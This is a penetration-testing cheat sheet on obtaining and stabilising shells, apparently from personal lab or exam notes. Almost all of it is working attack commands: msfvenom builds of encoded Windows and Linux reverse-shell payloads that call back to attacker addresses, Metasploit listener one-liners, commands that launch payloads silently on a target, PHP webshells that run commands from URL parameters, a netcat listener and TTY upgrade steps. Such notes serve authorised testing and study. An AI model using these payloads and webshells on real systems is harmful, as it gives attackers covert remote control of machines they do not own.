Shells
Reverse Shells
Automated reverse shell code:
Reverse Shell Generator (online)
Revshellgen (offline)
For Windows targets:
# Staged
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=80 -e x86/shikata_ga_nai -f exe -o staged_meterpreter_80.exe
# Non-staged
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.X LPORT=4444 -e x86/shikata_ga_nai -f exe -o non_staged_4444.exe
# Listener
$ sudo msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST tun0; set LPORT 80; set exitonsession false; run;"
# Execute
meterpreter > execute -f cmd.exe -a "/c start /b C:\\Windows\\Temp\\agent.exe -connect 10.10.14.5:443 -ignore-cert" -H
For Linux targets:
# Staged
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=80 -f elf -o staged_meterpreter_80
# Listener
$ sudo msfconsole -q -x "use multi/handler; set payload linux/x64/meterpreter/reverse_tcp; set LHOST tun0; set LPORT 80; set exitonsession false; run;"
# Execute payload from the target (background, session-detached, silence output)
nohup ./staged_meterpreter_80 > /dev/null 2>&1 &
Webshells
Kali has various webshells under /usr/share/webshells
.
# Predefined
<?php system("whoami"); ?>
<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>
# Dynamic
?php system($_GET['cmd']); ?>
<?php passthru($_GET['cmd']); ?>
Listeners
rlwrap
is a utility that adds GNU Readline support—like command-line editing, history, and autocompletion—to applications that lack it. It's especially useful for older or minimal tools, and supports features like user-defined completion and input filtering.
rlwrap nc -lvnp <port>
Upgrades
An upgraded shell gives us the ability to interrupt a process (
CTRL+C
), tab completion, clear the screen, up and down arrows, text editing, etc.tty
stands for teletype andpty
stands for pseudoterminal!
# Check if Python3 is installed on the target
which python3
# Spawn Bash via Python3
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Send tty to the backgroup (CTRL+Z) and check terminal's type and dimensions
echo $TERM && stty size
# Disable echo, send I/O straight through, and bring process to foreground
stty raw -echo; fg
# Press enter, reset terminal, and input the terminal type (xterm/screen)
reset
# Match tty's dimensions to the host's dimensions
stty rows 51 cols 209
# Set the TERM variable to the terminal's type
export TERM=xterm
Last updated
Was this helpful?